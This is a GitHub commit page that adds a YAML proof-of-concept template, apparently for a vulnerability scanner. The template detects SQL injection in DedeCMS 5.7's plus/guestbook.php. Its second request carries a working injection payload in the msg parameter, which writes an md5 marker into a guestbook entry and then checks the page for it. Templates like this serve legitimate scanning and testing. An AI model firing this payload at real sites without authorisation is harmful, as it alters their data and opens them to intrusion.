Skip to content

Commit 771a1d3

Browse files
authored
Create dedecms-guestbook-sqli.yml (#707)
1 parent 682a881 commit 771a1d3

File tree

1 file changed

+26
-0
lines changed

1 file changed

+26
-0
lines changed

Diff for: pocs/dedecms-guestbook-sqli.yml

+26
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
name: poc-yaml-dedecms-guestbook-sqli
2+
set:
3+
r: randomInt(800000000, 1000000000)
4+
rules:
5+
- method: GET
6+
path: /plus/guestbook.php
7+
follow_redirects: true
8+
expression: |
9+
response.status == 200
10+
search: action=admin&id=(?P<articleid>\d{1,20})
11+
- method: GET
12+
path: /plus/guestbook.php?action=admin&job=editok&id={{articleid}}&msg=',msg=@`'`,msg=(selecT md5({{r}})),email='
13+
follow_redirects: true
14+
expression: |
15+
response.status == 200
16+
- method: GET
17+
path: /plus/guestbook.php
18+
follow_redirects: true
19+
expression: |
20+
response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
21+
22+
detail:
23+
author: harris2015(https://github.com/harris2015)
24+
Affected Version: "5.7"
25+
links:
26+
- https://blog.csdn.net/god_7z1/article/details/8180454

0 commit comments

Comments
 (0)